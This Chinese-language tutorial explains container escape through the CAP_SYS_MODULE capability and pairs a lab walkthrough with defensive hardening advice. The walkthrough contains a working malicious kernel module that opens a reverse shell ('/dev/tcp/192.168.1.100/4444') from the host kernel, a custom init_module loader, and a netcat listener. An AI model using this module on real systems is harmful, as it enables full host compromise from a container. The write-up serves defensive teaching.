1. 项目概述：当容器获得加载内核模块的钥匙

在容器安全领域，“逃逸”是一个让所有安全工程师和运维人员都心头一紧的词。它意味着攻击者从一个理论上被隔离的、权限受限的容器环境，成功突破边界，获取了宿主机的控制权。这相当于一个被关在独立房间里的囚犯，不仅打开了房门，还拿到了整栋大楼的总钥匙。今天我们要深入剖析的，就是其中一把非常关键的“钥匙”—— CAP_SYS_MODULE 能力。

简单来说， CAP_SYS_MODULE 是 Linux 内核能力（Capability）体系中的一项，它赋予了进程向运行中的内核动态插入、移除内核模块（Kernel Module）的权限。在宿主机上，这通常是 root 用户或 sudo 用户才有的特权。而在 Docker 或 Kubernetes 的默认安全配置下，容器内的 root 用户权限是被“阉割”的，它并不具备这个能力，从而无法直接操作内核。然而，一旦容器在启动时被显式授予了 --cap-add=SYS_MODULE 参数，情况就完全不同了。

这个项目标题“容器逃逸漏洞分析 CAP_SYS_MODULE”指向的，正是滥用这一特权能力所引发的经典逃逸路径。它不是一个特定的 CVE 编号漏洞，而是一种由危险配置直接导致的“特性利用”。攻击者如果能在容器内获得 CAP_SYS_MODULE 能力，就可以加载一个精心构造的恶意内核模块。这个模块运行在内核空间，权限与内核本身等同，可以执行任意代码，完全无视容器建立的命名空间（Namespace）和资源限制（Cgroups）隔离，实现从容器到宿主机的“降维打击”。

理解这个逃逸手法的意义，远不止于复现一个攻击。对于开发人员，它能让你明白为什么不能随意给容器添加不必要的权限；对于安全运维人员，它是容器安全基线检查中必须重点关注的一项；对于架构师，它则提醒着在设计和评审容器化部署方案时，安全边界的重要性。接下来，我将带你从原理到实操，彻底拆解这个逃逸过程，并分享在实际防御中如何识别和加固。

2. 核心原理深度拆解：内核模块与能力机制

要理解 CAP_SYS_MODULE 为何如此危险，我们需要先深入到两个核心概念：Linux 内核模块（Kernel Module）和 Linux 能力（Capabilities）机制。这是理解整个逃逸链条的基础。

2.1 Linux 内核模块：系统的可插拔组件

你可以把 Linux 内核想象成一个微内核与众多外设驱动、文件系统支持、网络协议等组件的集合体。如果把所有功能都编译进内核，它会变得无比臃肿且难以维护。因此，Linux 采用了模块化设计。内核模块是一种可以在系统运行时动态加载到内核空间执行的代码对象，通常以 .ko （Kernel Object）文件形式存在。

• 作用 ：它允许在不重启系统的情况下，为内核添加新的功能，比如加载一个新的硬件驱动（如新的显卡驱动）、支持一个新的文件系统（如 ext4 , btrfs ），或者启用某个网络特性。
• 权限级别 ：内核模块运行在 Ring 0 特权级，这是 CPU 最高权限级别。这意味着模块代码与内核本身共享同一内存空间，可以访问和修改所有系统资源、硬件寄存器、进程内存等。它完全不受用户空间（ Ring 3 ）的任何权限限制模型的约束。
• 加载与卸载 ：用户空间通过 insmod （或 init_module 系统调用）和 rmmod 命令来加载和卸载模块。这些操作需要极高的权限。

在容器逃逸的语境下，攻击者的目标就是制作一个恶意的 .ko 文件，然后利用容器内获得的权限将其加载到宿主机的内核中。一旦加载成功，恶意代码就在宿主机内核中“合法”地运行起来了。

2.2 Linux Capabilities：细粒度的权限分割

传统的 Unix/Linux 权限模型是“二元”的：要么是拥有近乎全能权限的超级用户（ root , UID 0），要么是普通用户。这对于容器化环境来说过于粗糙。因为容器内的应用经常需要以 root 身份运行（例如绑定特权端口 80），但赋予其完整的宿主机 root 权限无疑是灾难性的。

Linux Capabilities 机制就是为了解决这个问题而生的。它将超级用户的特权分解成一系列独立的、细粒度的“能力”。例如：

• CAP_NET_BIND_SERVICE : 允许绑定到 1024 以下的特权端口。
• CAP_SYS_ADMIN : 允许执行一系列系统管理操作。
• CAP_DAC_OVERRIDE : 忽略文件的 DAC（自主访问控制，即读、写、执行）权限检查。
• CAP_SYS_MODULE : 允许加载和卸载内核模块。

Docker 默认会丢弃大部分危险的能力，只保留一小部分容器运行所必需的能力。你可以通过 docker run --cap-drop=ALL --cap-add=XXX 来精确控制容器拥有哪些能力。而 --cap-add=SYS_MODULE 就是手动将这把“内核模块加载之钥”交给了容器。

2.3 逃逸链条串联：从能力到突破隔离

现在，我们可以把整个逃逸链条串联起来：

1. 配置失误 ：运维人员或开发人员为了某种便利（例如需要在容器内调试某个内核功能），在运行容器时添加了 --cap-add=SYS_MODULE 参数。或者，更糟糕的情况是直接使用了 --privileged （特权模式），它默认包含了所有能力，其中就有 CAP_SYS_MODULE 。
2. 攻击者进入容器 ：攻击者通过应用漏洞（如 Web RCE）、供应链攻击、或者窃取的凭证等方式，在容器内获得了执行命令的权限，通常是 root 或具有 CAP_SYS_MODULE 能力的用户。
3. 制作恶意负载 ：攻击者在容器内（或从外部下载）编译一个恶意的内核模块。这个模块的 init 函数中，可以编写任意代码，例如：
   • 调用 call_usermodehelper 启动一个反向 Shell 到攻击者控制的服务器。
   • 直接修改内核内存，提权或隐藏自身。
   • 安装一个 rootkit，持久化控制宿主机。
4. 加载模块 ：利用容器内的 CAP_SYS_MODULE 能力，通过 insmod 或直接调用 init_module 系统调用，将恶意 .ko 文件加载到 宿主机内核 。注意，内核空间是全局的、唯一的，没有容器的概念。模块一旦加载，就运行在宿主机的内核上下文中。
5. 逃逸成功 ：恶意模块内的代码得以执行。如果它执行的是反弹 Shell，那么攻击者就获得了一个宿主机权限的 Shell；如果它进行提权或安装后门，则宿主机被完全控制。容器的隔离在此刻被彻底打破。

关键点 ：整个逃逸过程的核心在于， CAP_SYS_MODULE 这个能力本身是合法的，它之所以成为漏洞，是因为它被授予了一个本不应信任的环境（容器）。这是一种典型的“权限滥用”或“配置缺陷”，而非内核代码本身的漏洞。

3. 环境准备与攻击复现

纸上得来终觉浅，绝知此事要躬行。为了真正理解其危害，我们将在受控的实验室环境（强烈建议使用虚拟机）中，完整复现一次利用 CAP_SYS_MODULE 的容器逃逸。请确保你拥有环境的完全控制权，且该环境与生产网络隔离。

3.1 实验环境搭建

我们首先准备一个基础的 Linux 环境，并启动一个具备 CAP_SYS_MODULE 能力的容器。

1. 宿主机准备 ：我使用了一台 Ubuntu 22.04 LTS 的虚拟机。确保已安装 Docker。

   # 更新系统并安装 Docker
   sudo apt update && sudo apt upgrade -y
   sudo apt install docker.io -y
   sudo systemctl start docker && sudo systemctl enable docker
   # 将当前用户加入 docker 组，避免每次使用 sudo
   sudo usermod -aG docker $USER
   # 退出当前终端重新登录，使组生效
   

2. 创建带有 CAP_SYS_MODULE 的容器 ：这是触发漏洞的关键一步。

   # 运行一个 Ubuntu 容器，并显式添加 SYS_MODULE 能力
   docker run -itd --name escape_cap_module --cap-add=SYS_MODULE ubuntu:22.04 /bin/bash
   

   • --cap-add=SYS_MODULE : 这就是我们提到的危险配置，赋予了容器加载内核模块的能力。
   • 注意，我们没有使用 --privileged ，这证明了即使不是完全特权模式，仅此一项能力也足以造成逃逸。

3. 进入容器 ：

   docker exec -it escape_cap_module /bin/bash
   

   进入后，我们可以验证一下能力：

   # 安装 capsh 工具来查看当前能力集
   apt update && apt install -y libcap2-bin
   capsh --print
   

   在输出的 Current: 部分，你应该能看到 cap_sys_module 在列表中。同时，检查 /proc/self/status 中的 CapEff （有效能力集）字段，其值是一个位掩码，包含 CAP_SYS_MODULE （对应数值 16）。

3.2 恶意内核模块的编写与编译

接下来，我们在容器内准备攻击载荷——一个用于反弹 Shell 的简易内核模块。

1. 安装编译环境 ：容器内的基础镜像通常没有编译工具，需要手动安装。

   # 在容器内执行
   apt update
   apt install -y gcc make linux-headers-$(uname -r)
   

   linux-headers-$(uname -r) 至关重要，它提供了与当前运行内核版本匹配的头文件，是编译内核模块所必需的。这里的 uname -r 获取的是 宿主机 的内核版本，因为容器与宿主机共享内核。

2. 编写恶意内核模块代码 ：创建一个名为 reverse-shell.c 的文件。

   #include <linux/kmod.h>
   #include <linux/module.h>
   MODULE_LICENSE("GPL");
   MODULE_AUTHOR("Attacker");
   MODULE_DESCRIPTION("A malicious module for container escape");
   
   // 定义要执行的命令：反弹 Shell 到攻击机 192.168.1.100 的 4444 端口
   // 请将 IP 和端口替换为你攻击机的实际地址
   static char* argv[] = {"/bin/bash", "-c", "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1", NULL};
   static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
   
   // 模块初始化函数，加载时自动执行
   static int __init reverse_shell_init(void) {
       printk(KERN_INFO "[Malicious Module] Initializing, attempting to spawn reverse shell...\n");
       // call_usermodehelper 是内核提供的用于从内核空间启动用户空间进程的函数
       int ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
       printk(KERN_INFO "[Malicious Module] call_usermodehelper returned: %d\n", ret);
       return 0; // 返回 0 表示初始化成功
   }
   
   // 模块退出函数
   static void __exit reverse_shell_exit(void) {
       printk(KERN_INFO "[Malicious Module] Exiting\n");
   }
   
   // 指定模块的入口和出口函数
   module_init(reverse_shell_init);
   module_exit(reverse_shell_exit);
   

   代码解读 ：

   • call_usermodehelper : 这是内核 API，允许内核模块以 root 权限启动一个用户空间的进程。它是实现从内核空间“逃逸”到用户空间执行命令的关键。
   • UMH_WAIT_EXEC : 标志位，表示等待执行的进程完成。
   • printk : 内核的打印函数，输出到内核日志（可通过 dmesg 查看）。
   • 这个模块的功能非常简单直接：一旦被加载，它的 init 函数就会执行，调用 call_usermodehelper 来启动一个 /bin/bash 进程，这个进程执行一个标准的反向 TCP Shell 命令。

3. 编写 Makefile ：在同一目录下创建 Makefile 文件，用于编译模块。

   obj-m += reverse-shell.o
   all:
       make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
   clean:
       make -C /lib/modules/$(uname -r)/build M=$(PWD) clean
   

4. 编译内核模块 ：

   make
   

   如果一切顺利，当前目录下会生成 reverse-shell.ko 文件。这个 .ko 文件就是我们的恶意负载。

实操心得 ：编译内核模块是对内核版本高度敏感的操作。务必确保容器内的 linux-headers 版本与宿主机 uname -r 的输出完全一致。如果宿主机内核升级了，而容器内的 headers 没更新，编译会失败。在生产环境中，攻击者可能会预先编译好针对不同内核版本的模块，或者利用容器内的环境动态编译。

3.3 辅助工具：自定义 insmod

容器基础镜像可能不包含 insmod 命令（它属于 kmod 或 module-init-tools 包）。我们可以选择安装它，但为了更贴近“最小化环境”的攻击场景，我们也可以自己写一个简单的加载器。这实际上就是直接调用 init_module 系统调用。

1. 编写自定义加载器 ：创建 my_insmod.c 。

   #define _GNU_SOURCE
   #include <fcntl.h>
   #include <stdio.h>
   #include <sys/stat.h>
   #include <sys/syscall.h>
   #include <sys/types.h>
   #include <unistd.h>
   #include <stdlib.h>
   
   // 定义系统调用号，不同架构可能不同，这里是 x86_64 的
   #define __NR_init_module 175
   #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values)
   
   int main(int argc, char **argv) {
       if (argc != 2) {
           fprintf(stderr, "Usage: %s <kernel_module.ko>\n", argv[0]);
           return EXIT_FAILURE;
       }
   
       int fd = open(argv[1], O_RDONLY);
       if (fd < 0) {
           perror("open");
           return EXIT_FAILURE;
       }
   
       struct stat st;
       if (fstat(fd, &st) != 0) {
           perror("fstat");
           close(fd);
           return EXIT_FAILURE;
       }
   
       size_t image_size = st.st_size;
       void *image = malloc(image_size);
       if (image == NULL) {
           perror("malloc");
           close(fd);
           return EXIT_FAILURE;
       }
   
       if (read(fd, image, image_size) != image_size) {
           perror("read");
           free(image);
           close(fd);
           return EXIT_FAILURE;
       }
       close(fd);
   
       printf("[*] Attempting to load module: %s\n", argv[1]);
       int ret = init_module(image, image_size, "");
       if (ret != 0) {
           perror("init_module");
           free(image);
           return EXIT_FAILURE;
       }
   
       printf("[+] Module loaded successfully.\n");
       free(image);
       return EXIT_SUCCESS;
   }
   

2. 编译加载器 ：

   gcc my_insmod.c -o my_insmod
   

   得到可执行文件 my_insmod 。

3.4 发动攻击与逃逸验证

现在，万事俱备，只欠东风。

1. 在攻击机（另一台机器或宿主机的另一个终端）上启动监听 ：

   # 在攻击机（IP: 192.168.1.100）上执行
   nc -lvnp 4444
   

2. 在容器内加载恶意模块 ：

   # 在容器内执行
   ./my_insmod reverse-shell.ko
   

   或者，如果你安装了 insmod ：

   insmod reverse-shell.ko
   

3. 观察结果 ：

   • 攻击机终端 ：几乎在瞬间，你应该会看到来自 宿主机 IP （而不是容器 IP）的连接建立，并且获得了一个 Shell。尝试执行 whoami 和 hostname ，你会发现你是宿主机上的 root 用户，主机名也是宿主机的。 逃逸成功！
   • 容器内 ：你可以通过 dmesg | tail 查看内核日志，应该能看到我们模块中 printk 输出的信息，如 “[Malicious Module] Initializing...” 。
   • 宿主机 ：在宿主机上执行 lsmod | grep reverse_shell ，可以看到我们加载的模块。执行 ps aux | grep bash ，也能看到反弹 Shell 的进程。

逃逸后的影响 ：此时，攻击者已经站在了宿主机上。他可以：

• 读写宿主机上任何文件（如 /etc/shadow , /root/.ssh/ ）。
• 启动、停止任何服务。
• 扫描内网，攻击同一宿主机上的其他容器或网络内的其他机器。
• 安装持久化后门（如 cron job, ssh key, rootkit）。

4. 防御策略与安全加固

复现攻击是为了更好地防御。了解了攻击原理和过程后，我们可以从多个层面构建防御体系。

4.1 安全配置原则：最小权限与默认拒绝

这是最根本、最有效的防御措施。

1. 严格限制容器能力 ：

   • 最佳实践 ：使用 --cap-drop=ALL 丢弃所有能力，然后通过 --cap-add 仅添加业务 必需 的能力。对于绝大多数应用容器， CAP_SYS_MODULE 是绝对不需要的。
   • 检查命令 ：定期使用以下命令审计运行中容器的能力配置：

     docker inspect --format '{{.Id}} -> {{.HostConfig.CapAdd}}' $(docker ps -aq)
     

     对于 Kubernetes Pod，检查 SecurityContext 中的 capabilities.drop 和 capabilities.add 字段。

2. 避免使用特权模式 ： --privileged 参数是万恶之源，它赋予了容器所有能力，并解除了很多安全限制。除非有极其特殊且受控的需求（如某些需要直接访问硬件的场景），否则永远不要使用它。

3. 使用非 root 用户运行容器 ：在 Dockerfile 中使用 USER 指令，或在运行时通过 --user 指定一个非 root 的 UID/GID。即使容器被攻破，攻击者初始权限也较低。但要注意，如果该用户通过其他途径（如 sudo 漏洞）获得了 CAP_SYS_MODULE 能力，风险依然存在。

4.2 运行时检测与响应

安全配置是静态的，运行时监控则是动态的防线。

1. 内核模块加载监控 ：

   • Auditd 审计规则 ：在宿主机上配置 audit 规则，监控 init_module 和 finit_module 系统调用。

     # 添加审计规则
     sudo auditctl -a always,exit -F arch=b64 -S init_module -S finit_module -k module_load
     # 查看日志
     sudo ausearch -k module_load
     

     日志会记录是哪个进程（来自哪个容器）尝试加载模块。结合容器运行时信息（如 docker inspect 或 crictl ），可以快速定位恶意容器。

   • eBPF 监控 ：使用 eBPF 工具如 tracee 、 falco 或自行编写 eBPF 程序，可以更灵活地监控模块加载行为，并能关联容器元数据，实现实时告警。

2. 容器行为监控 ：使用安全产品（如 Aqua Security, Sysdig Secure, Prisma Cloud）或开源方案（如 Falco），可以定义规则来检测容器内可疑行为，例如：

   • “容器内进程尝试执行 insmod/modprobe”
   • “容器内进程写入了 .ko 文件”
   • “容器内进程调用了 init_module 系统调用”

3. 文件系统与镜像扫描 ：在 CI/CD 管道和运行时，扫描容器镜像和运行中容器的文件系统，查找是否存在内核模块文件（ .ko ）或模块编译工具（ gcc , make , kernel-headers ）。非必要的编译工具应移除。

4.3 内核与系统级加固

从底层系统层面减少攻击面。

1. 内核模块签名与锁定 ：

   • 启用内核模块签名验证 ：配置内核启动参数 module.sig_enforce=1 ，这样内核只加载被可信密钥签名的模块。攻击者自编译的恶意模块将无法加载。但这需要管理签名密钥，对内部开发调试可能带来不便。
   • 完全禁用模块加载 ：在极端安全要求的环境，可以编译一个不包含模块支持的内核（ CONFIG_MODULES=n ），或者通过启动参数 module.sig_enforce=1 并结合黑名单，完全阻止模块加载。这通常适用于功能固定的设备或服务器。

2. 使用容器专用内核或命名空间 ：一些高级安全方案，如 Google 的 gVisor 或 Kata Containers，为容器提供了更强的隔离。gVisor 实现了一个用户态的内核，拦截所有系统调用；Kata 则每个容器运行一个轻量级虚拟机。它们都能有效防御此类内核层面的逃逸，但会带来一定的性能开销和复杂度。

3. Seccomp 与 AppArmor/SELinux ：

   • Seccomp ：Docker 默认提供一个白名单模式的 seccomp 配置文件，它已经 默认禁用了 init_module 和 finit_module 系统调用 。这意味着，即使容器拥有 CAP_SYS_MODULE 能力，如果使用默认的 seccomp 配置，调用也会被拒绝。 这是一个非常重要的安全特性！ 除非你使用 --security-opt seccomp=unconfined 禁用了 seccomp，否则此逃逸手法在默认配置下是无效的。务必检查你的容器是否禁用了 seccomp。
   • AppArmor/SELinux ：配置强制访问控制策略，可以进一步限制容器进程的行为，例如阻止对 /lib/modules 目录的读取，阻止执行 insmod 等。

4.4 应急响应与溯源

如果怀疑发生了逃逸，应立即采取以下步骤：

1. 隔离 ：立即停止可疑容器 ( docker stop )，并冻结其资源防止进一步破坏。
2. 取证 ：
   • docker export 导出容器文件系统进行静态分析。
   • 检查宿主机内核日志 ( dmesg )、审计日志 ( ausearch ) 和系统日志 ( journalctl )，寻找模块加载痕迹。
   • 使用 lsmod 检查当前加载的模块，与基线对比找出异常模块。
   • 检查网络连接 ( netstat , ss )、进程列表 ( ps auxf )、计划任务 ( crontab -l )、启动项等，查找攻击者留下的后门。
3. 清除与恢复 ：卸载恶意内核模块 ( rmmod )，清除后门文件，修复被篡改的配置，必要时从干净备份恢复系统。
4. 根因分析 ：审查容器启动配置、镜像构建过程、部署流水线，找出为何 CAP_SYS_MODULE 会被授予，并修复该配置问题。

5. 深度思考与扩展场景

CAP_SYS_MODULE 逃逸是一个清晰的案例，但它不是孤立的。理解它有助于我们举一反三，审视整个容器安全模型。

5.1 与其他逃逸手法的关联与对比

• 与 --privileged 特权模式的关系 ：特权模式是 CAP_SYS_MODULE 的“超级集合”。拥有特权模式的容器自动拥有所有能力，包括 SYS_MODULE 。因此，防御特权模式是更高优先级的任务。
• 与 CAP_SYS_ADMIN 的对比 ： CAP_SYS_ADMIN 是一个“瑞士军刀”式的能力，它包含了很多管理功能，其中一些（如挂载 cgroup）也可以用于逃逸（例如著名的 cgroup release_agent 逃逸）。 SYS_MODULE 的逃逸路径更直接（加载代码），而 SYS_ADMIN 的路径可能更巧妙（利用系统机制）。两者都是高危能力。
• 与内核漏洞逃逸的区别 ： CVE-2022-0847 （Dirty Pipe）这类内核漏洞逃逸，不依赖于任何特殊的容器配置。即使容器以最安全的方式运行（非 root，无额外能力），只要宿主机内核存在漏洞且未修补，就可能被利用。而 CAP_SYS_MODULE 逃逸完全依赖于“错误配置”，属于“授人以柄”。防御前者需要及时打补丁，防御后者则需要严格的安全基线。

5.2 在 Kubernetes 环境下的影响与配置

在 K8s 中，容器的能力通过 Pod 的 securityContext 来定义。

危险的 Pod 配置示例：

apiVersion: v1
kind: Pod
metadata:
  name: dangerous-pod
spec:
  containers:
  - name: app
    image: ubuntu:22.04
    securityContext:
      capabilities:
        add: ["SYS_MODULE"] # 危险！添加了 SYS_MODULE 能力
      # runAsNonRoot: true # 未使用非 root 用户
      # allowPrivilegeEscalation: true # 默认即为 true，允许权限提升

安全的 Pod 配置示例：

apiVersion: v1
kind: Pod
metadata:
  name: safe-pod
spec:
  securityContext:
    runAsNonRoot: true
    seccompProfile:
      type: RuntimeDefault # 使用运行时默认的 seccomp 配置
  containers:
  - name: app
    image: my-app:latest
    securityContext:
      allowPrivilegeEscalation: false # 禁止权限提升
      capabilities:
        drop: ["ALL"] # 丢弃所有能力
        # add: ["NET_BIND_SERVICE"] # 只添加明确需要的

在 K8s 集群中，应使用 Pod 安全标准（Pod Security Standards）或 Pod 安全准入控制器（Pod Security Admission），在集群层面强制实施基线（Baseline）或限制（Restricted）级别的策略，自动拒绝包含 SYS_MODULE 等危险配置的 Pod。

5.3 对云原生安全体系的启示

这个案例凸显了云原生安全“共享责任模型”中用户责任部分的重要性：

1. 镜像安全 ：基础镜像和业务镜像应尽可能精简，移除编译工具、调试工具等非必要组件。
2. 配置安全 ：安全左移，将安全基线检查（如禁止高危能力）集成到 CI/CD 流水线中，在部署前阻断不安全的配置。
3. 运行时安全 ：部署运行时安全工具，对异常行为（如系统调用、文件操作、网络连接）进行监控和告警。
4. 网络策略 ：即使发生逃逸，通过严格的网络策略（NetworkPolicy）可以限制 Pod/容器与宿主机关键服务（如 K8s API Server）或其他敏感网段的通信，延缓攻击横向移动。

容器逃逸的攻防是一场持续的博弈。 CAP_SYS_MODULE 只是一个具体的例子，其背后体现的“最小权限原则”和“纵深防御”思想，才是保障容器化环境安全的基石。每一次便捷的 --cap-add 背后，都可能隐藏着一扇通向宿主机的大门。作为构建和维护这些系统的人，我们的任务就是找到这些门，并牢牢锁上。